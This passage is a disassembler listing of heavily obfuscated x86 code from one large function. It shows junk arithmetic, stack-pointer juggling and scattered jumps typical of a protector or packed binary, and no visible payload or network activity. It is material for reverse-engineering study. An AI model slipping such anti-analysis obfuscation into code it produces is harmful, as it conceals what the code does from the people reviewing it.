; ---------------------------------------------------------------------------


loc_59F384:				; CODE XREF: sub_58A891+128B2j
		or	edi, 17FC4020h
		jmp	loc_5A103F
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	word ptr [esp+6Ch+var_6C], ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59F39F:				; CODE XREF: sub_58A891+25A3Aj
		push	edx
		mov	dl, 0A4h
		shl	dl, 4
		sub	dl, 1
		dec	dl
		jmp	loc_5A7365
; ---------------------------------------------------------------------------


loc_59F3AF:				; CODE XREF: sub_58A891:loc_5AF208j
		dec	edx
		jo	loc_5A1D4F
		push	esi
		mov	esi, 27285E71h
		add	edx, esi
		pop	esi
		jmp	loc_5B2C19
; ---------------------------------------------------------------------------


loc_59F3C4:				; CODE XREF: sub_58A891+1E7ECj
					; sub_58A891+23563j
		pop	cx
		add	bl, ah
		jmp	loc_5A7B96
; ---------------------------------------------------------------------------


loc_59F3CD:				; CODE XREF: sub_58A891+25F36j
		jmp	loc_5B0241
; ---------------------------------------------------------------------------


loc_59F3D2:				; CODE XREF: sub_58A891+21F53j
		mov	[esp+72h+var_74+2], edx
		mov	edx, 5A64452Eh
		inc	edx
		inc	edx
		push	esi
		mov	esi, 6E400AC1h
		add	edx, esi
		pop	esi
		sub	edx, 8B4837FCh
		add	ebp, edx
		pop	edx
		mov	edi, [esp+6Eh+var_70+2]
		add	esp, 4
		xchg	ebp, [esp+6Ah+var_6C+2]
		mov	esp, [esp+6Ah+var_6C+2]
		jmp	loc_5ADB24
; ---------------------------------------------------------------------------


loc_59F402:				; CODE XREF: sub_58A891+180A5j
		push	edi
		mov	edi, 21EC364Dh
		mov	ecx, 0DE13C9B5h
		jmp	loc_5A814D
; ---------------------------------------------------------------------------


loc_59F412:				; CODE XREF: sub_58A891+1F17Fj
		rol	word ptr [esp+6Eh+var_70+2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------
		push	[esp+72h+var_74+2]
		pop	eax
		push	2191h
		mov	[esp+76h+var_78+2], ebp
		push	esp
		push	[esp+7Ah+var_7C+2]
		pop	ebp
		push	ebx
		push	esp
		jmp	loc_5B2560
; ---------------------------------------------------------------------------


loc_59F434:				; CODE XREF: sub_58A891+25AB7j
		xor	edx, [esp+82h+var_84+2]
		pop	esp
		push	ecx
		push	182Eh
		mov	[esp+86h+var_88+2], esp
		add	[esp+86h+var_88+2], 4
		push	[esp+86h+var_88+2]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		push	edi
		jmp	loc_5ABBDB
; ---------------------------------------------------------------------------


loc_59F45B:				; CODE XREF: sub_58A891+122B1j
		pop	eax
		pop	ebx
		jmp	loc_5B2F11
; ---------------------------------------------------------------------------


loc_59F462:				; CODE XREF: sub_58A891+195D5j
		xchg	ebp, [esp+0A6h+var_A6]
		mov	esp, [esp+0A6h+var_A6]
		push	3D8Fh
		mov	[esp+0AAh+var_AA], edi
		push	75A6h
		mov	[esp+0AEh+var_AE], esp
		add	[esp+0AEh+var_AE], 4
		mov	edi, [esp+0AEh+var_AE]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp+0AAh+var_AA]
		mov	esp, [esp+0AAh+var_AA]
		push	ecx
		mov	ecx, 76AA5E08h
		sub	[esp+0AEh+var_AA], ecx
		pop	ecx
		add	[esp+0AAh+var_AA], 2E723619h
		sub	[esp+0AAh+var_AA], eax
		jmp	loc_5A4A24
; ---------------------------------------------------------------------------


loc_59F4B1:				; CODE XREF: sub_58A891+210C9j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59F4B6:				; CODE XREF: sub_58A891+1EF8Dj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59F4BB:				; CODE XREF: sub_58A891+11BA7j
					; sub_58A891+14E09j
		add	ebx, 338A18CEh
		pop	esi
		jmp	loc_59F2D3
; ---------------------------------------------------------------------------


loc_59F4C7:				; CODE XREF: sub_58A891+20E0Fj
		xor	edx, 67F5FFE5h
		add	ebx, edx
		pop	edx
		add	ebx, 4
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], esi
		mov	esi, 52A05F3Ch
		neg	esi
		jmp	loc_5B2824
; ---------------------------------------------------------------------------


loc_59F4F3:				; CODE XREF: sub_58A891+241F0j
		push	3BE6h
		jmp	loc_5AD05D
; ---------------------------------------------------------------------------


loc_59F4FD:				; CODE XREF: sub_58A891+231F2j
		mov	ecx, [esp+12h+var_14+2]
		add	esp, 4
		push	ebp
		mov	ebp, 7B2E195Ch
		add	ebx, ebp
		mov	ebp, [esp+12h+var_14+2]
		add	esp, 4
		add	ebx, eax
		sub	esp, 4
		mov	[esp+12h+var_14+2], ecx
		sub	esp, 4
		mov	[esp+16h+var_18+2], esi
		jmp	loc_5AAD16
; ---------------------------------------------------------------------------


loc_59F52A:				; CODE XREF: sub_58A891+234FCj
		push	esi
		mov	esi, 13303763h
		xor	esi, 3B704FDAh
		add	esi, 74EE5C49h
		jmp	loc_5AA0F0
; ---------------------------------------------------------------------------


loc_59F541:				; CODE XREF: sub_58A891+18693j
		xchg	esi, [esp+1Ah+var_1C+2]
		pop	esp
		mov	[esp+16h+var_18+2], edx
		mov	dl, bh
		mov	bh, byte ptr [esp+16h+var_14+2]
		mov	byte ptr [esp+16h+var_14+2], dl
		push	[esp+16h+var_18+2]
		jmp	loc_59DF42
; ---------------------------------------------------------------------------


loc_59F55A:				; CODE XREF: sub_58A891+1DE54j
		mov	eax, 4
		jmp	loc_5A1031
; ---------------------------------------------------------------------------


loc_59F564:				; CODE XREF: sub_58A891+150FCj
					; sub_58A891+16D41j
		xor	edi, eax
		pop	eax
		xor	edi, 694D2AFDh
		push	edi
		jmp	loc_59F963
; ---------------------------------------------------------------------------


loc_59F573:				; CODE XREF: sub_58A891:loc_5A2FA7j
					; sub_58A891+1FCC2j
		mov	ebx, [esp+1Ah+var_1C+2]
		add	esp, 4
		pop	[esp+16h+var_18+2]
		jmp	loc_5A4BA3
; ---------------------------------------------------------------------------


loc_59F584:				; CODE XREF: sub_58A891+1FAC4j
		mov	ax, word ptr [esp+12h+var_14+2]
		push	7EECh
		mov	[esp+16h+var_18+2], ebp
		push	5DC9h
		jmp	loc_5AE4BF
; ---------------------------------------------------------------------------


loc_59F59A:				; CODE XREF: sub_58A891+22A77j
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], eax
		push	1C915D65h
		pop	eax
		sub	esp, 4
		mov	[esp+22h+var_24+2], eax
		jmp	loc_5AFB78
; ---------------------------------------------------------------------------


loc_59F5B6:				; CODE XREF: sub_58A891+25C4Bj
		jns	loc_5AEEC5
		jmp	loc_5AC568
; ---------------------------------------------------------------------------
		add	edi, 6DD90154h
		sub	dh, 0ECh
		push	ecx


loc_59F5CB:				; CODE XREF: sub_58A891+1B616j
		pop	[esp+26h+var_28+2]
		jmp	loc_5A9448
; ---------------------------------------------------------------------------


loc_59F5D3:				; CODE XREF: sub_58A891+140DCj
		push	[esp+2Eh+var_30+2]
		jmp	loc_5B24B4
; ---------------------------------------------------------------------------


loc_59F5DB:				; CODE XREF: sub_58A891+203DFj
		inc	[esp+32h+var_34+2]
		pop	esi
		add	esi, 0E687F46Bh
		push	esi
		pop	edi
		pop	esi
		sub	eax, edi
		mov	edi, [esp+2Ah+var_2C+2]
		jmp	loc_5A97CB
; ---------------------------------------------------------------------------


loc_59F5F2:				; CODE XREF: sub_58A891+1FCF0j
		mov	edx, 0FC608E20h
		xor	eax, edx
		jmp	loc_59E705
; ---------------------------------------------------------------------------


loc_59F5FE:				; CODE XREF: sub_58A891+19D51j
		mov	esi, 52B5595Bh
		xor	eax, esi
		pop	esi
		jmp	loc_5A6977
; ---------------------------------------------------------------------------


loc_59F60B:				; CODE XREF: sub_58A891+227AEj
		xchg	ebp, ecx
		push	0
		jmp	loc_5B1C4B
; ---------------------------------------------------------------------------


loc_59F617:				; CODE XREF: sub_58A891+239D5j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+2Ah+var_2C+2]
		pop	esp
		mov	[esp+26h+var_28+2], eax
		mov	eax, 26685898h
		sub	ebx, eax
		pop	eax
		push	4A1Bh
		mov	[esp+26h+var_28+2], ebp
		push	180Fh
		mov	[esp+2Ah+var_2C+2], eax
		push	6E06h
		mov	[esp+2Eh+var_30+2], ebx
		mov	ebx, 42095FD8h
		sub	ebx, 0DE5FC8Bh
		sub	[esp+2Eh+var_2C+2], ebx
		pop	ebx
		mov	ebp, [esp+2Ah+var_2C+2]
		add	esp, 4
		add	ebp, 3423634Dh
		push	ebp
		add	[esp+2Ah+var_2C+2], 0B2A7EA5h
		mov	edx, [esp+2Ah+var_2C+2]
		jmp	loc_5A5D26
; ---------------------------------------------------------------------------


loc_59F673:				; CODE XREF: sub_58A891+19678j
					; sub_58A891+20923j
		add	esi, 109E0928h
		xor	esi, 4BC76476h
		add	ebx, esi
		push	[esp+2Ah+var_2C+2]
		mov	esi, [esp+2Eh+var_30+2]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5AA84D
; ---------------------------------------------------------------------------


loc_59F698:				; CODE XREF: sub_58A891+279E1j
		sub	ebx, esi
		jmp	loc_59F4BB
; ---------------------------------------------------------------------------


loc_59F69F:				; CODE XREF: sub_58A891+1BAFEj
		add	bl, 0B3h
		pop	eax
		shr	bl, 6
		jmp	loc_5B2CF3
; ---------------------------------------------------------------------------


loc_59F6AB:				; CODE XREF: sub_58A891+13D3Dj
		mov	ebp, 310565ECh
		and	edx, ebp
		pop	ebp
		sub	edx, 0D968A952h
		sub	eax, edx
		pop	edx
		jmp	loc_5AF400
; ---------------------------------------------------------------------------


loc_59F6C1:				; CODE XREF: sub_58A891+2477Fj
		jmp	loc_59E47E
; ---------------------------------------------------------------------------


loc_59F6C6:				; CODE XREF: sub_58A891:loc_5AF9A9j
		or	edi, 71A35AB7h
		jl	loc_5A7928
		xor	edi, 447455FEh
		jmp	loc_5ABE15
; ---------------------------------------------------------------------------


loc_59F6DD:				; CODE XREF: sub_58A891+20293j
		mov	edi, 75B9724Fh
		xor	edi, ebp
		jmp	loc_5A5255
; ---------------------------------------------------------------------------


loc_59F6E9:				; CODE XREF: sub_58A891+21019j
		mov	[esp+56h+var_58+2], ebp
		mov	ebp, esp
		push	edx
		jmp	loc_5A0DAD
; ---------------------------------------------------------------------------


loc_59F6F4:				; CODE XREF: sub_58A891+1BB78j
		xchg	edi, ebp
		inc	edi
		xchg	edi, ebp
		dec	ebp
		add	ebp, 7D4F5CFDh
		push	edi
		mov	edi, 0B436B004h
		xor	ebp, edi
		jmp	loc_5A2F20
; ---------------------------------------------------------------------------


loc_59F70D:				; CODE XREF: sub_58A891+23C04j
		mov	ecx, 2B284B5Dh
		dec	ecx
		jo	loc_5A52BB
		neg	ecx
		add	ecx, 12A1363Fh
		jb	loc_5AE184
		jmp	loc_5A1171
; ---------------------------------------------------------------------------


loc_59F72C:				; CODE XREF: sub_58A891+12729j
		mov	esp, [esp+0A2h+var_A2]
		mov	[esp+0A2h+var_A2], esi
		push	468Dh
		mov	[esp+0A6h+var_A6], edi
		push	4D6C0632h
		pop	edi
		push	esi
		mov	esi, 726112E6h
		jmp	loc_5A5DA7
; ---------------------------------------------------------------------------


loc_59F74B:				; CODE XREF: sub_58A891+243ABj
		mov	ebp, 71F678F4h
		mov	ecx, ebp
		pop	ebp
		xor	ecx, 71F678F0h
		add	esi, ecx
		mov	ecx, [esp+0A6h+var_A6]
		push	eax
		jmp	loc_5A03DF
; ---------------------------------------------------------------------------


loc_59F764:				; CODE XREF: sub_58A891+17BF0j
		sub	edi, esi
		pop	esi
		sub	edi, 6EA3763Bh
		add	edx, 2FC57F91h
		jmp	loc_5AB6AE
; ---------------------------------------------------------------------------


loc_59F778:				; CODE XREF: sub_58A891:loc_59E47Ej
					; sub_58A891+1F2D6j
		or	ecx, 5D364DF7h
		jmp	loc_5A8879
; ---------------------------------------------------------------------------


loc_59F783:				; CODE XREF: sub_58A891+150EBj
		sub	ebp, 5FFD6561h
		xor	ebp, 5BAD0F02h
		jmp	loc_5AEEAE
; ---------------------------------------------------------------------------


loc_59F794:				; CODE XREF: sub_58A891+140A7j
		neg	ebp
		or	ebp, 348647F2h
		add	ebp, 25F46418h
		add	edi, ebp
		push	[esp+42h+var_44+2]
		pop	ebp
		jmp	loc_5B1CB1
; ---------------------------------------------------------------------------


loc_59F7AD:				; CODE XREF: sub_58A891+24E56j
		mov	edi, 7DAA7B81h
		shr	edi, 3
		shl	edi, 2
		shr	edi, 3
		or	edi, 120001B5h
		inc	edi
		push	edx
		mov	edx, 17DAA7BAh
		sub	edi, edx
		pop	edx
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp+3Eh+var_40+2]
		pop	esp
		jmp	loc_5ABA23
; ---------------------------------------------------------------------------


loc_59F7DD:				; CODE XREF: sub_58A891+18039j
					; sub_58A891+1BE4Cj
		add	esp, 4
		push	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5AE092
; ---------------------------------------------------------------------------


loc_59F7F8:				; CODE XREF: sub_58A891+1B0DAj
		add	ecx, 4
		xchg	ecx, [esp+3Eh+var_40+2]
		mov	esp, [esp+3Eh+var_40+2]
		push	edx
		push	4
		jmp	loc_5A547F
; ---------------------------------------------------------------------------


loc_59F80F:				; CODE XREF: sub_58A891+1BE01j
		xchg	eax, edx
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], eax
		add	[esp+4Ah+var_4C+2], 1
		pop	eax
		push	ecx
		mov	ecx, 8103C604h
		add	eax, ecx
		pop	ecx
		mov	edi, eax
		jmp	loc_5AEC71
; ---------------------------------------------------------------------------


loc_59F82E:				; CODE XREF: sub_58A891+234AEj
		neg	eax
		jle	loc_5A56AA
		sub	eax, 55F790CCh
		jmp	loc_5A3811
; ---------------------------------------------------------------------------
		push	ecx


loc_59F841:				; CODE XREF: sub_58A891+2162Bj
		xor	esi, [esp+4Ah+var_4C+2]
		pop	esp
		mov	[esp+46h+var_48+2], edi
		push	esi
		jmp	loc_5AFC56
; ---------------------------------------------------------------------------


loc_59F84E:				; CODE XREF: sub_58A891+264C3j
		xor	esi, 0B435B632h
		add	edx, esi
		pop	esi
		xchg	edx, [esp+46h+var_48+2]
		jmp	loc_5B05BF
; ---------------------------------------------------------------------------


loc_59F85F:				; CODE XREF: sub_58A891+237E8j
		add	esp, 4
		push	ecx
		mov	ch, dl
		mov	[edi+38h], ch
		push	[esp+46h+var_48+2]
		pop	ecx
		jmp	loc_5AD890
; ---------------------------------------------------------------------------


loc_59F871:				; CODE XREF: sub_58A891+1A4BEj
					; sub_58A891+1CB6Ej
		mov	eax, 447341B6h
		shr	eax, 5
		js	loc_5AD61B
		add	eax, 6CDA083h
		shl	eax, 8
		xchg	eax, ecx
		not	ecx
		xchg	eax, ecx
		xor	eax, 2E847DB0h
		xor	eax, 0BEF0AD9Ch
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], ebx
		mov	ebx, 3506470Dh
		jmp	loc_5A0024
; ---------------------------------------------------------------------------


loc_59F8A8:				; CODE XREF: sub_58A891+1ECC2j
		add	bl, 28h
		jmp	loc_5A24CA
; ---------------------------------------------------------------------------


loc_59F8B0:				; CODE XREF: sub_58A891+187A2j
		xchg	esi, [esp+4Ah+var_4C+2]
		pop	esp
		push	ecx
		push	5119h
		mov	[esp+4Eh+var_50+2], esp
		add	[esp+4Eh+var_50+2], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59DDA6
; ---------------------------------------------------------------------------


loc_59F8D3:				; CODE XREF: sub_58A891+229D4j
		mov	[esp+4Ah+var_4C+2], ebx
		jmp	loc_5ABC6D
; ---------------------------------------------------------------------------


loc_59F8DB:				; CODE XREF: sub_58A891+1C832j
		mov	ebp, 7A361AB7h
		jmp	loc_5A222C
; ---------------------------------------------------------------------------


loc_59F8E5:				; CODE XREF: sub_58A891+2783Fj
		mov	edi, [esp+4Ah+var_4C+2]
		add	esp, 4
		push	7251h
		mov	[esp+4Ah+var_4C+2], ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 1FEC7E0Eh
		xor	ecx, 0AD26319h
		dec	ecx
		add	ecx, 1
		inc	ecx
		dec	ecx
		xor	ecx, 153E1D13h
		jmp	loc_5A289E
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+4Eh+var_50+2]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5B1948
; ---------------------------------------------------------------------------


loc_59F91E:				; CODE XREF: sub_58A891+1A8E7j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+56h+var_58+2]
		pop	esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_5A42C3
; ---------------------------------------------------------------------------


loc_59F93B:				; CODE XREF: sub_58A891+12E05j
					; sub_58A891+2156Bj
		neg	edi
		jnz	loc_5A1B45
		add	edi, 3082DF88h
		mov	ebp, edi
		pop	edi
		jmp	loc_5A42C3
; ---------------------------------------------------------------------------
		pop	ebp


loc_59F952:				; CODE XREF: sub_58A891+206F3j
		mov	ebx, esp
		jmp	loc_59CB64
; ---------------------------------------------------------------------------


loc_59F959:				; CODE XREF: sub_58A891+1F42Ej
		push	16D35721h
		jmp	loc_5ADB6D
; ---------------------------------------------------------------------------


loc_59F963:				; CODE XREF: sub_58A891+14CDDj
		pop	ecx
		push	[esp+16h+var_18+2]
		jmp	loc_5A8CCB
; ---------------------------------------------------------------------------


loc_59F96C:				; CODE XREF: sub_58A891+1AE3Aj
		sub	edi, 2D8E5329h
		jmp	loc_5A4BAF
; ---------------------------------------------------------------------------


loc_59F977:				; CODE XREF: sub_58A891+26B7Cj
		mov	ebp, 565054CAh
		jmp	loc_59F783
; ---------------------------------------------------------------------------


loc_59F981:				; CODE XREF: sub_58A891+16AB8j
		jg	loc_5A034D
		sub	esi, 969946Fh
		jmp	loc_59F564
; ---------------------------------------------------------------------------
		dec	ecx
		pop	edi


loc_59F994:				; CODE XREF: sub_58A891+1597Fj
		xor	ecx, esi
		pop	esi
		mov	edx, 988485ABh
		sub	edx, ecx
		mov	ecx, [esp+12h+var_14+2]
		add	esp, 4
		and	edx, 267B129Ah
		jle	loc_5AFB61
		add	edx, 0FF63CD03h
		add	eax, edx
		push	[esp+0Eh+var_10+2]
		pop	edx
		add	esp, 4
		push	edx
		push	3B93h
		mov	[esp+12h+var_14+2], ebp
		mov	ebp, 4DFA41B6h
		add	ebp, 76DD32BDh
		xor	ebp, 29A43B8h
		jnz	loc_5B241F
		add	ebp, 5DE901EEh
		ja	loc_5A01DA
		mov	edx, ebx
		pop	edi


loc_59F9F4:				; CODE XREF: sub_58A891+21B1Fj
		mov	esi, 29957047h
		inc	esi
		jg	loc_5A1746
		add	esi, 1216E205h
		mov	edi, esi
		pop	esi
		mov	eax, ebp


loc_59FA0B:				; CODE XREF: sub_58A891+1C90Bj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Ah+var_C+2]
		pop	esp
		push	ebp
		mov	ebp, 4B502407h
		shl	ebp, 4
		shl	ebp, 5
		xor	ebp, 0F3421772h
		sub	edx, ebp
		pop	ebp
		not	edx
		push	45F6h
		mov	[esp+0Ah+var_C+2], ebp
		push	edi
		jmp	loc_5A6080
; ---------------------------------------------------------------------------


loc_59FA3F:				; CODE XREF: sub_58A891+27631j
		mov	edi, esp
		sub	esp, 4
		mov	[esp+12h+var_14+2], ecx
		push	4
		pop	ecx
		add	edi, ecx
		pop	ecx
		push	768Bh
		mov	[esp+12h+var_14+2], ebp
		mov	ebp, 0D7029C6h
		inc	ebp
		jmp	loc_59E197
; ---------------------------------------------------------------------------


loc_59FA66:				; CODE XREF: sub_58A891+22610j
		xor	edx, 7FAD67FCh
		sub	edx, 7ED14F85h
		xor	edx, 0C77B6445h
		jmp	loc_5AACB7
; ---------------------------------------------------------------------------


loc_59FA7D:				; CODE XREF: sub_58A891+2469Cj
		jl	loc_5AA759
		or	eax, 2A0A05C9h
		jnb	loc_5AFC78
		mov	ebx, ecx
		push	ebx


loc_59FA91:				; CODE XREF: sub_58A891+19094j
		push	[esp+16h+var_18+2]
		jmp	loc_5A4099
; ---------------------------------------------------------------------------


loc_59FA99:				; CODE XREF: sub_58A891+24D8Bj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59FA9E:				; CODE XREF: sub_58A891+1C0AFj
					; sub_58A891+1D50Ej
		pop	esp
		push	707h
		mov	[esp+1Ah+var_1C+2], ebx
		jmp	loc_59DC3E
; ---------------------------------------------------------------------------


loc_59FAAC:				; CODE XREF: sub_58A891+2382Cj
		xor	ebp, 35F245C6h
		not	ebp
		push	eax
		mov	eax, 69EA10CDh
		add	eax, 4DBC2E30h
		add	ebp, eax
		pop	eax
		add	ebx, ebp
		pop	ebp
		push	4173h
		jmp	loc_5ADC10
; ---------------------------------------------------------------------------


loc_59FACF:				; CODE XREF: sub_58A891+1DB15j
		pop	edi
		xor	ecx, 5EC06FAEh
		push	eax
		push	ebp
		jmp	loc_59FDBD
; ---------------------------------------------------------------------------


loc_59FADD:				; CODE XREF: sub_58A891+12FA4j
					; sub_58A891+24C11j
		shl	esi, 2
		jmp	loc_59E71B
; ---------------------------------------------------------------------------


loc_59FAE5:				; CODE XREF: sub_58A891+2021Ej
		shr	ah, 1
		jmp	loc_5AE004
; ---------------------------------------------------------------------------


loc_59FAEC:				; CODE XREF: sub_58A891+1569Ej
		push	small 2FDAh
		mov	word ptr [esp+0A6h+var_A6], ax
		push	ebx
		jmp	loc_5B1833
; ---------------------------------------------------------------------------


loc_59FAFA:				; CODE XREF: sub_58A891+2017Dj
		xor	byte ptr [esp+0AAh+var_AA], al
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59FB03:				; CODE XREF: sub_58A891+11B1Ej
		add	esp, 4
		add	al, ch
		pop	ecx
		push	7309h
		mov	[esp+2+var_4+2], edx
		push	6CD9h
		mov	[esp+6+var_8+2], ecx
		mov	cl, 0B2h
		jmp	loc_5A9CA8
; ---------------------------------------------------------------------------


loc_59FB20:				; CODE XREF: sub_58A891+1987Cj
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_5A8C9C
; ---------------------------------------------------------------------------


loc_59FB2D:				; CODE XREF: sub_58A891+1F458j
		xor	edi, [esp+6+var_8+2]
		xor	[esp+6+var_8+2], edi
		xor	edi, [esp+6+var_8+2]
		pop	esp
		sub	[esp+2+var_4+2], eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59FB40:				; CODE XREF: sub_58A891+1A105j
					; sub_58A891+1CA68j
		add	ecx, 4
		xchg	ecx, [esp+6+var_8+2]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+6+var_8+2]
		pop	esp
		mov	[esp+2+var_4+2], ecx
		sub	esp, 4
		mov	[esp+6+var_8+2], edi
		mov	edi, 1A3338CBh
		mov	ecx, 1EEB7C9Ch
		and	ecx, 74C14806h
		jmp	loc_5AA349
; ---------------------------------------------------------------------------


loc_59FB78:				; CODE XREF: sub_58A891:loc_5A3828j
		sub	esi, 0B1205h
		push	esi
		sub	[esp+0Ah+var_C+2], 61695D31h
		mov	eax, [esp+0Ah+var_C+2]
		push	ebx
		jmp	loc_5A07AE
; ---------------------------------------------------------------------------


loc_59FB8F:				; CODE XREF: sub_58A891+12103j
					; sub_58A891+13669j
		mov	ebx, 564347D0h
		mov	edx, ebx
		pop	ebx
		mov	edi, edx
		pop	edx
		xor	edi, 1D9593Fh
		jmp	loc_5A2476
; ---------------------------------------------------------------------------


loc_59FBA5:				; CODE XREF: sub_58A891+267EAj
		add	esp, 4
		add	edi, 2
		jmp	loc_59F1F8
; ---------------------------------------------------------------------------


loc_59FBB0:				; CODE XREF: sub_58A891+21C73j
		pop	ecx
		sub	ebx, 3FCFC1E1h
		jmp	loc_5A6FDC
; ---------------------------------------------------------------------------


loc_59FBBC:				; CODE XREF: sub_58A891+2238Cj
		mov	edi, 4
		jmp	loc_5B008D
; ---------------------------------------------------------------------------


loc_59FBC6:				; CODE XREF: sub_58A891+1208Dj
		not	esi
		jmp	loc_5A7D81
; ---------------------------------------------------------------------------


loc_59FBCD:				; CODE XREF: sub_58A891+13435j
		xor	ebx, [esp+2Eh+var_30+2]
		mov	esp, [esp+2Eh+var_30+2]
		bts	word ptr [esp+2Eh+var_30+2], ax
		pushf
		jmp	loc_5A0150
; ---------------------------------------------------------------------------


loc_59FBDE:				; CODE XREF: sub_58A891+277F9j
		neg	ebx
		sub	ebx, 951E5C4h
		and	ebp, ebx
		pop	ebx
		add	ebp, 1393EC0Ah
		sub	ebx, ebp
		pop	ebp
		add	ebx, edi
		jmp	loc_5AC36C
; ---------------------------------------------------------------------------


loc_59FBF9:				; CODE XREF: sub_58A891+198CAj
		push	ebx
		jmp	loc_59D724
; ---------------------------------------------------------------------------


loc_59FBFF:				; CODE XREF: sub_58A891+13C3Aj
		add	ebx, 5B250FE9h
		jmp	loc_59DDB1
; ---------------------------------------------------------------------------


loc_59FC0A:				; CODE XREF: sub_58A891+1FA5Ej
		not	edi
		or	edi, 5E392CA6h
		not	edi
		add	edi, 0DEBFFEF3h
		sub	ebx, edi
		pop	edi
		xor	ebx, [esp+2Ah+var_2C+2]
		xor	[esp+2Ah+var_2C+2], ebx
		xor	ebx, [esp+2Ah+var_2C+2]
		pop	esp
		mov	[esp+26h+var_28+2], edi
		push	5B206D1Bh
		jmp	loc_5A746A
; ---------------------------------------------------------------------------


loc_59FC34:				; CODE XREF: sub_58A891+1ACD9j
		not	si
		xchg	si, cx
		push	di
		jmp	loc_5A8144
; ---------------------------------------------------------------------------


loc_59FC41:				; CODE XREF: sub_58A891+22D2Aj
		sub	ebx, 0ADD7483Eh
		mov	eax, ebx
		pop	ebx
		xor	ebx, eax
		jmp	loc_5A9691
; ---------------------------------------------------------------------------


loc_59FC51:				; CODE XREF: sub_58A891+275B9j
		mov	eax, [esp+28h+var_28]
		jmp	loc_59C1B8
; ---------------------------------------------------------------------------


loc_59FC59:				; CODE XREF: sub_58A891+2380Aj
		push	edi
		mov	edi, 3571EABh
		sub	eax, edi
		mov	edi, [esp+2Ch+var_2C]
		add	esp, 4
		jmp	loc_5A4330
; ---------------------------------------------------------------------------


loc_59FC6C:				; CODE XREF: sub_58A891+14223j
		or	ch, 0Ch
		jp	loc_5ADDED
		inc	ch
		sub	ch, 69h
		add	bl, ch
		jmp	loc_5A40F3
; ---------------------------------------------------------------------------


loc_59FC81:				; CODE XREF: sub_58A891+16159j
		sub	edi, 788A2032h
		jmp	loc_5A2308
; ---------------------------------------------------------------------------


loc_59FC8C:				; CODE XREF: sub_58A891+15EACj
		and	ebx, 4D32100Eh
		add	ebx, 20C07C1h
		add	edi, 4FD55E88h
		add	edi, ebx
		sub	edi, 4FD55E88h
		pop	ebx
		push	ecx
		mov	ecx, 71957BD8h
		neg	ecx
		shr	ecx, 2
		shl	ecx, 7
		sub	ecx, 0E06757Fh
		inc	ecx
		push	ebx
		mov	ebx, 61E00D9Ah
		jmp	loc_5B0E4C
; ---------------------------------------------------------------------------


loc_59FCC7:				; CODE XREF: sub_58A891+1E6F9j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59FCCC:				; CODE XREF: sub_58A891+19745j
		mov	[esp+1Eh+var_20+2], eax
		push	esp
		jmp	loc_5A1887
; ---------------------------------------------------------------------------


loc_59FCD5:				; CODE XREF: sub_58A891+15CA0j
		xor	eax, [esp+22h+var_24+2]
		xor	[esp+22h+var_24+2], eax
		xor	eax, [esp+22h+var_24+2]
		pop	esp
		push	49DFh
		jmp	loc_5A7404
; ---------------------------------------------------------------------------


loc_59FCE9:				; CODE XREF: sub_58A891+12F98j
					; sub_58A891+205B9j
		mov	esi, 2
		add	ecx, esi
		mov	esi, [esp+0A4h+var_A6+2]
		jmp	loc_5B2CDE
; ---------------------------------------------------------------------------


loc_59FCF8:				; CODE XREF: sub_58A891+135BCj
		mov	ebx, 4B9F297Eh
		jmp	loc_59D983
; ---------------------------------------------------------------------------


loc_59FD02:				; CODE XREF: sub_58A891+134AEj
		xchg	ecx, [esp+26h+var_28+2]
		jmp	loc_5A3E55
; ---------------------------------------------------------------------------


loc_59FD0A:				; CODE XREF: sub_58A891+1B0EDj
		add	ebp, ebx
		pop	ebx
		jmp	loc_5AA455
; ---------------------------------------------------------------------------


loc_59FD12:				; CODE XREF: sub_58A891+1B77Ej
		pop	eax
		mov	bl, cl
		push	eax
		jmp	loc_59DACF
; ---------------------------------------------------------------------------


loc_59FD1B:				; CODE XREF: sub_58A891+13FADj
					; sub_58A891:loc_5AC5E7j
		add	ecx, ebx
		pop	ebx
		push	ecx
		push	[esp+0B2h+var_AE]
		pop	ecx
		pop	[esp+0B2h+var_B2]
		pop	esp
		add	esi, 4
		jmp	loc_5AA0B0
; ---------------------------------------------------------------------------


loc_59FD33:				; CODE XREF: sub_58A891+28573j
		add	ebx, 1AC91FBBh
		jge	loc_5ADCBC
		sub	ebx, 0E6AD9FBCh
		push	ebx
		jmp	loc_5B01E4
; ---------------------------------------------------------------------------


loc_59FD4B:				; CODE XREF: sub_58A891+1452Bj
		and	edi, ebp
		pop	ebp
		shl	edi, 8
		jmp	loc_59C535
; ---------------------------------------------------------------------------
		dw 0D800h
; ---------------------------------------------------------------------------
